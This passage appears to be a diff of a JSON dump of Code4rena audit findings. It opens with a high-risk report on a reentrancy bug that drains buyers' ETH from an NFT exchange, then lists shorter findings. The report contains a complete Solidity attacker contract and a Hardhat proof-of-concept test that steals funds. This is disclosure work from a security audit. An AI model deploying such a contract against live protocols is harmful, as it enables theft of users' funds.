way that if an `_execute` of a single order reverts, it will not break additional or previous successful `_execute`s. It is therefore very important to track actual ETH used by the function. * The protocol has recognized the need to track buyers ETH in order to refund unused ETH by implementing the `_returnDust` function and `setupExecution` modifier. This ensures that calls to `_execute` must be internal and have proper accounting of remainingETH. * Fee recipient is controlled by the seller. The seller determines the recipients and fee rates. The new implementations creates an attack vectors that allows the Seller or Fee recipient to steal ETH. There are three main bugs that can be exploited to steal the ETH: 1. Reentrancy is possible by feeRecipient as long as `_execute` is not called (`_execute` has a reentrancyGuard) 2. `bulkExecute` can be called with an empty parameter. This allows the caller to not enter `_execute` and call `_returnDust` 3. `_returnDust` sends the entire balance of the contract to the caller. (Side note: I issued the 3 bugs together in this one report in order to show impact and better reading experience for sponsor and judge. If you see fit, these three bugs can be split to three different findings) There are two logical scenarios where the heist could originate from: 1. Malicious seller: The seller can set the fee recipient to a malicious contract. 2. Malicious fee recipient: fee recipient can steal the funds without the help of the seller. Consider the scenario (#1) where feeRecipient rate 10% of token price 1 ETH: 1. Bob (Buyer) wants to execute 4 orders with ETH. Among the orders is Alice's (seller) sell order (lets assume first in line). 2. Bob calls `bulkExecute` with `4 ETH`. `1 ETH` for every order. 3. Alice's sell order gets executed. Fee `0.1 ETH` is sent to feeRecipient (controlled by Alice). 4. feeRecipient *reenters* `bulkExecute` with *empty* array as parameter and `1 WEI` of data 5. `_returnDust` returns the balance of the contract to feeRecipient `3.9 ETH`. 6. feeRecipient sends `3.1 ETH` to seller (or any other beneficiary) 7. feeRecipient call `selfdestruct` opcode that transfers `0.9 ETH` to Exchange contract. This is in order to keep `_execute` from reverting when paying the seller. 8. `_execute` pays seller `0.9 ETH` 9. Sellers balance is `4 ETH`. 10. The rest of the `_execute` calls by `bulkExecute` will get reverted because buyer cannot pay as his funds were stolen. 11. Buyers `3 ETH` funds stolen ``` \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 Buyer \u2502 \u2502 Exchange \u2502 \u2502 Fee Recipient \u2502 \u2502 Seller \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u2502 \u2502 \u2502 bulkExecute(4 orders) \u2502 \u2502 \u2502 \u2502 4 ETH \u2502 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 \u2502 \u2502 \u2502 \u2502_execute sends 0.1 ETH \u2502 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 bulkExecute(0 orders) \u2502 \u2502 \u2502 \u2502 1 WEI \u2502 \u2502 \u2502 \u2502\u25c4\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 _retrunDust sends \u2502 \u2502 \u2502 \u2502 3.9 ETH \u2502 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 Send 3.1 ETH \u2502 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 \u2502 \u2502 Self destruct send \u2502 \u2502 \u2502 \u2502 0.9 ETH \u2502 \u2502 \u2502 \u2502\u25c4\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502_execute sends 0.9 ETH \u2502 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 _execute revert\u2502 \u2502 \u2502 \u2502 \u2502 3 times \u2502 \u2502 \u250c\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2510 \u2502\u25c4\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2510 \u25023 ETH \u2502 \u2502 \u2502 \u25024 ETH \u2502 \u2502Stolen \u2502 \u2502Balance\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 ``` Here is a possible implementation of the fee recipient contract: ``` contract MockFeeReceipient { bool lock; address _seller; uint256 _price; constructor(address seller, uint256 price) { _seller = seller; _price = price; } receive() external payable { Exchange ex = Exchange(msg.sender); if(!lock){ lock = true; // first entrance when receiving fee uint256 feeAmount = msg.value; // Create empty calldata for bulkExecute and call it Execution[] memory executions = new Execution[](0); bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions); address(ex).call{value: 1}(data); // Now we received All of buyers funds. // Send stolen ETH to seller minus the amount needed in order to keep execution. address(_seller).call{value: address(this).balance - (_price - feeAmount)}(''); // selfdestruct and send funds needed to Exchange (to not revert) selfdestruct(payable(msg.sender)); } else{ // Second entrance after steeling balance // We will get here after getting funds from reentrancy } } } ``` Important to know: the exploit becomes much easier if the set fee rate is 10000 (100% of the price). This can be set by the seller. In such case, the fee recipient does not need to send funds back to the exchange contract. In such case, step #7-8 can be removed. Example code for 100% fee scenario: ``` pragma solidity 0.8.17; import { Exchange } from \"../Exchange.sol\"; import { Execution } from \"../lib/OrderStructs.sol\"; contract MockFeeReceipient { bool lock; address _seller; uint256 _price; constructor(address seller, uint256 price) { _seller = seller; _price = price; } receive() external payable { Exchange ex = Exchange(msg.sender); if(!lock){ lock = true; // first entrance when receiving fee uint256 feeAmount = msg.value; // Create empty calldata for bulkExecute and call it Execution[] memory executions = new Execution[](0); bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions); address(ex).call{value: 1}(data); } else{ // Second entrance after steeling balance // We will get here after getting funds from reentrancy } } } ``` In the POC we talk mostly about `bulkExecute` but `execute` of a single execution can steal the buyers excessive ETH. ### Technical walkthrough of scenario Buyers can call `execute` or `bulkExecute` to start an execution of orders. Both functions have a `setupExecution` modifier that stores the amount of ETH the caller has sent for the transactions: `bulkExecute` in `Exchange.sol`: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168 ``` function bulkExecute(Execution[] calldata executions) external payable whenOpen setupExecution { ``` `setupExecution`: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L40 ``` modifier setupExecution() { remainingETH = msg.value; isInternal = true; _; remainingETH = 0; isInternal = false; } ``` `_execute` will be called to handle the buy and sell order. * The function has a reentracnyGuard. * The function will check that the orders are signed correctly and that both orders match. * If everything is OK, `_executeFundsTransfer` will be called to transfer the buyers funds to the seller and fee recipient `_executeFundsTransfer`: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L565 ``` function _executeFundsTransfer( address seller, address buyer, address paymentToken, Fee[] calldata fees, uint256 price ) internal { if (msg.sender == buyer && paymentToken == address(0)) { require(remainingETH >= price); remainingETH -= price; } /* Take fee. */ uint256 receiveAmount = _transferFees(fees, paymentToken, buyer, price); /* Transfer remainder to seller. */ _transferTo(paymentToken, buyer, seller, receiveAmount); } ``` Fees are calculated based on the rate set by the seller and send to the fee recipient in `_transferFees`. When the fee recipient receives the funds. They can reenter the Exchange contract and drain the balance of contract. This can be done through `bulkExecution`. `bulkExecution` can be called with an empty array. If so, no `_execute` function will be called and therefore no reentrancyGuard will trigger. At the end of `bulkExecution`, `_returnDust` function is called to return excessive funds. `bulkExecute`: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168 ``` function bulkExecute(Execution[] calldata executions) external payable whenOpen setupExecution { /* REFERENCE uint256 executionsLength = executions.length; for (uint8 i=0; i < executionsLength; i++) { bytes memory data = abi.encodeWithSelector(this._execute.selector, executions[i].sell, executions[i].buy); (bool success,) = address(this).delegatecall(data); } _returnDust(remainingETH); */ uint256 executionsLength = executions.length; for (uint8 i = 0; i < executionsLength; i++) { ``` `_returnDust`: https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212 ``` function _returnDust() private { uint256 _remainingETH = remainingETH; assembly { if gt(_remainingETH, 0) { let callStatus := call( gas(), caller(), selfbalance(), 0, 0, 0, 0 ) } } } ``` After the fee recipient drains the rest of the 4 ETH funds of the Exchange contract (the buyers funds). They need to transfer a portion back (0.9 ETH) to the Exchange contract in order for the `_executeFundsTransfer` to not revert and be able to send funds (0.9 ETH) to the seller. This can be done using the `selfdestruct` opcode After that, the `_execute` function will continue and exit normally. `bulkExecute` will continue to the next order and call `_execute` which will revert. Because `bulkExecute` delegatecalls `_execute` and continues even after revert, the function `bulkExecute` will complete its execution without any errors and all the buyers ETH funds will be lost and nothing will be refunded. ### Hardhat POC: add the following test to `execution.test.ts`: ``` describe.only('hack', async () => { let executions: any[]; let value: BigNumber; beforeEach(async () => { await updateBalances(); const _executions = []; value = BigNumber.from(0); // deploy MockFeeReceipient let contractFactory = await (hre as any).ethers.getContractFactory( \"MockFeeReceipient\", {}, ); let contractMockFeeReceipient = await contractFactory.deploy(alice.address,price); await contractMockFeeReceipient.deployed(); //generate alice and bob orders. alice fee recipient is MockFeeReceipient. 10% cut tokenId += 1; await mockERC721.mint(alice.address, tokenId); sell = generateOrder(alice, { side: Side.Sell, tokenId, paymentToken: ZERO_ADDRESS, fees: [ { rate: 1000, recipient: contractMockFeeReceipient.address, } ], }); buy = generateOrder(bob, { side: Side.Buy, tokenId, paymentToken: ZERO_ADDRESS}); _executions.push({ sell: await sell.packNoOracleSig(), buy: await buy.packNoSigs(), }); // create 3 more executions tokenId += 1; for (let i = tokenId; i < tokenId + 3; i++) { await mockERC721.mint(thirdParty.address, i); const _sell = generateOrder(thirdParty, { side: Side.Sell, tokenId: i, paymentToken: ZERO_ADDRESS, }); const _buy = generateOrder(bob, { side: Side.Buy, tokenId: i, paymentToken: ZERO_ADDRESS, }); _executions.push({ sell: await _sell.packNoOracleSig(), buy: await _buy.packNoSigs(), }); } executions = _executions; }); it(\"steal funds\", async () => { let aliceBalanceBefore = await alice.getBalance(); //price = 4 ETH value = price.mul(4); //call bulkExecute tx = await waitForTx( exchange.connect(bob).bulkExecute(executions, { value })); let aliceBalanceAfter = await alice.getBalance(); let aliceEarned = aliceBalanceAfter.sub(aliceBalanceBefore); //check that alice received all 4 ETH expect(aliceEarned).to.equal(value); }); }); ``` Add the following contract to mocks folder: `MockFeeRecipient.sol`: ``` pragma solidity 0.8.17; import { Exchange } from \"../Exchange.sol\"; import { Execution } from \"../lib/OrderStructs.sol\"; contract MockFeeReceipient { bool lock; address _seller; uint256 _price; constructor(address seller, uint256 price) { _seller = seller; _price = price; } receive() external payable { Exchange ex = Exchange(msg.sender); if(!lock){ lock = true; // first entrance when receiving fee uint256 feeAmount = msg.value; // Create empty calldata for bulkExecute and call it Execution[] memory executions = new Execution[](0); bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions); address(ex).call{value: 1}(data); // Now we received All of buyers funds. // Send stolen ETH to seller minus the amount needed in order to keep execution. address(_seller).call{value: address(this).balance - (_price - feeAmount)}(''); // selfdestruct and send funds needed to Exchange (to not revert) selfdestruct(payable(msg.sender)); } else{ // Second entrance after steeling balance // We will get here after getting funds from reentrancy } } } ``` Execute `yarn test` to see that test pass (Alice stole all 4 ETH) ## Tools Used VS code, hardhat ## Recommended Mitigation Steps 1. Put a reentrancyGuard on `execute` and `bulkExecute` functions 2. `_refundDust` return only _remainingETH 3. revert in `bulkExecute` if parameter array is empty. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/93", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-08"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-12"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Yul `call` return value not checked", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/90", "labels": ["bug", "2 (Med Risk)", "primary issue", "selected for report", "sponsor confirmed", "M-01"], "target": "2022-11-non-fungible-findings", "body": "# Lines of code https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212-L227 # Vulnerability details ### Author: rotcivegaf ### Impact The Yul `call` return value on function `_returnDust` is not checked, which could leads to the `sender` lose funds ### Proof of Concept The caller of the functions `bulkExecute` and `execute` could be a contract who may not implement the `fallback` or `receive` functions or reject the `call`, when a call to it with value sent in the function `_returnDust`, it will revert, thus it would fail to receive the `dust` ether Proof: - A contract use `bulkExecute` - One of the executions fails - The `Exchange` contract send the `dust`(Exchange balance) back to the contract - This one for any reason reject the call - The `dust` stay in the `Exchange` contract - In the next call of `bulkExecute` or `execute` the balance of the `Exchange` contract(including the old `dust`) will send to the new caller - The second sender will get the funds of the first contract ### Tools Used Review ### Recommended Mitigation Steps ```diff + error ReturnDustFail(); + function _returnDust() private { uint256 _remainingETH = remainingETH; + bool success; assembly { if gt(_remainingETH, 0) { - let callStatus := call( + success := call( gas(), caller(), selfbalance(), 0, 0, 0, 0 ) } } + if (!success) revert ReturnDustFail(); } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-11"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-10"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/78", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-07"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-09"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/76", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-06"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/74", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-05"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-08"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-07"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-06"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/54", "labels": ["bug", "grade-a", "QA (Quality Assurance)", "Q-04"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-05"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/45", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "edited-by-warden", "Q-03"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/40", "labels": ["bug", "grade-b", "QA (Quality Assurance)", "Q-02"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/39", "labels": ["bug", "grade-a", "QA (Quality Assurance)", "edited-by-warden", "Q-01"], "target": "2022-11-non-fungible-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-04"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "grade-a", "selected for report", "G-03"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-02"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "grade-b", "edited-by-warden", "G-01"], "target": "2022-11-non-fungible-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-11-non-fungible-findings/issues/1", "labels": [], "target": "2022-11-non-fungible-findings", "body": "Agreements & Disclosures"}] \ No newline at end of file diff --git a/results/codearena_findings_4.json b/results/codearena_findings_4.json new file mode 100644 index 0000000..3fc1539 --- /dev/null +++ b/results/codearena_findings_4.json @@ -0,0 +1 @@ +[{"title": "no time restriction in setMarketTimeRestrictions()", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/49", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "no time restriction in setMarketTimeRestrictions()"}, {"title": "Remove hardhat console import", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Remove hardhat console import"}, {"title": "RCTreasury: Spelling Errors", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Recommended Mitigation Steps - `seperate` \u2192 `separate` - `incase` \u2192 `in case` "}, {"title": "RCTreasury: new hasRole() function with string role", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact It might be operationally easier (eg. reading permissions via etherscan, saves a few seconds having to search for the bytes32 constant and copy its value) to take in the role of type `string` instead of `bytes32`. It also has an added benefit of overloading the `hasRole()` function, where overriding was desired. ### Recommended Mitigation Steps Perhaps add it as an additional function to avoid having to change all `treasury.checkPermissions()` function calls (since the role input has to be modified too). ```jsx // TODO: add to interface function hasRole(string memory role, address account) external view override returns (bool) { bytes32 _role = keccak256(abi.encodePacked(role)); return AccessControl.hasRole(_role, account); } ``` "}, {"title": "RCTreasury: AccessControl diagram contains Leaderboard, but it has no role", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact ```jsx /* setup AccessControl UBER_OWNER \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 \u2502 \u2502 \u2502 OWNER FACTORY ORDERBOOK TREASURY LEADERBOARD \u2502 \u2502 GOVERNOR MARKET \u2502 WHITELIST | ARTIST | AFFILIATE | CARD_AFFILIATE */ ``` From this diagram, one might expect the existence of a `LEADERBOARD` role, but there is no such role. It should be removed from the diagram. ### Recommended Mitigation Steps ```jsx /* setup AccessControl UBER_OWNER \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 \u2502 \u2502 OWNER FACTORY ORDERBOOK TREASURY \u2502 \u2502 GOVERNOR MARKET \u2502 WHITELIST | ARTIST | AFFILIATE | CARD_AFFILIATE */ ``` "}, {"title": "RCLeaderboard: Erroneous comment", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The comments above the event declarations were probably copied over from RCOrderbook. They should be modified to refer to the leaderboard. ### Recommended Mitigation Steps ```jsx /// @dev emitted every time a user is added to the leaderboard event LogAddToLeaderboard(address _user, address _market, uint256 _card); /// @dev emitted every time a user is removed from the leaderboard event LogRemoveFromLeaderboard( address _user, address _market, uint256 _card ); ``` "}, {"title": "RCFactory: Unnecessary casting in updateTokenURI()", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "RCFactory: Unnecessary casting in updateTokenURI()"}, {"title": "RCFactory: Solve stack too deep for getMarketInfo()", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `marketInfoResults` is a parameter used by `getMarketInfo()` to determine the length of results to return. As the `setMarketInfoResults()` comments state, \"(it) would be better to pass this as a parameter in getMarketInfo.. however we are limited because of stack too deep errors\". This limitation can be overcome by defining the return array variables as the function output, as suggested below. The need for `marketInfoResults` and its setter function is then made redundant, whilst making querying results of possibly varying lengths more convenient. ### Recommended Mitigation Steps ```jsx function getMarketInfo( IRCMarket.Mode _mode, uint256 _state, uint256 _skipResults, uint256 _numResults // equivalent of marketInfoResults ) external view returns ( address[] memory _marketAddresses, string[] memory _ipfsHashes, string[] memory _slugs, uint256[] memory _potSizes ) { uint256 _marketIndex = marketAddresses[_mode].length; _marketAddresses = new address[](_numResults); _ipfsHashes = new string[](_numResults); _slugs = new string[](_numResults); _potSizes = new uint256[](_numResults); ... } ``` "}, {"title": "RCFactory: Do multiplication instead of division for length checks", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/39", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact Solidity division rounds down, so doing `M / 2 <= N` checks mean that `M` can be at most `2N + 1`. This affects the following checks: ```jsx require( (_tokenURIs.length / 2) <= cardLimit, \"Too many tokens to mint\" ); require( _cardAffiliateAddresses.length == 0 || _cardAffiliateAddresses.length == (_tokenURIs.length / 2), \"Card Affiliate Length Error\" ) ``` Note that with the current implementation, if `_tokenURIs` is of odd length, its last element will be redundant, but market creation will not revert. The stricter checks will partially mitigate `_tokenURIs` having odd length because `_cardAffiliateAddresses` is now required to be exactly twice that of `_tokenURIs`. ### Recommended Mitigation Steps These checks should be modified to ```jsx require( _tokenURIs.length <= cardLimit * 2, \"Too many tokens to mint\" ); require( _cardAffiliateAddresses.length == 0 || _cardAffiliateAddresses.length * 2 == _tokenURIs.length, \"Card Affiliate Length Error\" ); ``` In addition, consider adding a check for `_tokenURIs` to strictly be of even length. `require(_tokenURIs.length % 2 == 0, \"TokenURI Length Error\");` "}, {"title": "Access Control Constants", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/38", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Access Control Constants"}, {"title": "transferCard should be done after treasury is updated.", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle 0xImpostor # Vulnerability details ## Impact When the current owner of the card is still the new owner of the card, `transferCard` is called before the treasury is updated. While this does not currently pose a risk, it is not aligned with best practices of [check-effect-interations](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) and opens your code to a potential re-entrancy attack in the future. ## Tools Used Manual analysis ## Recommended Mitigation Steps ```jsx // line 381 treasury.updateRentalRate( _oldOwner, _user, user[_oldOwner][index[_oldOwner][_market][_card]].price, _price, block.timestamp ); transferCard(_market, _card, _oldOwner, _user, _price); ... // line 449 treasury.updateRentalRate( _user, _user, _price, _currUser.price, block.timestamp ); transferCard(_market, _card, _user, _user, _currUser.price); ``` "}, {"title": "Tight Variable Packing", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Tight Variable Packing"}, {"title": "Parameter updates not propagated", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/30", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Parameter updates not propagated"}, {"title": "uint32 conversion doesn't work as expected.", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The uint32 conversion in setWinner of the RCMarket doesn't work as expected. The first statement: \"uint32(block.timestamp)\" already first the block.timestamp in a uint32. If it is larger than type(uint32).max it wraps around and starts with 0 again The testcode below shows this. Check for \"<= type(uint32).max\" in the second statement is useless because _blockTimestamp is always <= type(uint32).max ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L507 function setWinner(uint256 _winningOutcome) internal { ... uint256 _blockTimestamp = uint32(block.timestamp); require(_blockTimestamp <= type(uint32).max, \"Overflow\"); //Testcode: pragma solidity 0.8.7; contract Convert { uint256 public a = uint256( type(uint32).max )+1; // a==4294967296 uint32 public b = uint32(a); // b==0 uint256 public c = uint32(a); // c==0 } ## Tools Used ## Recommended Mitigation Steps Do the require first (without a typecast to uint32): require( block.timestamp <= type(uint32).max, \"Overflow\"); uint256 _blockTimestamp = uint32(block.timestamp); "}, {"title": "findNewOwner edgecase", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/27", "labels": ["bug", "sponsor confirmed", "Resolved", "disagree with severity", "3 (High Risk)"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the function findNewOwner of RCOrderbook, as loop is done which included the check _loopCounter < maxDeletions Afterwards a check is done for \"(_loopCounter != maxDeletions)\" to determine if the processing is finished. If _loopCounter == maxDeletions then the conclusion is that it isn't finished yet. However there is the 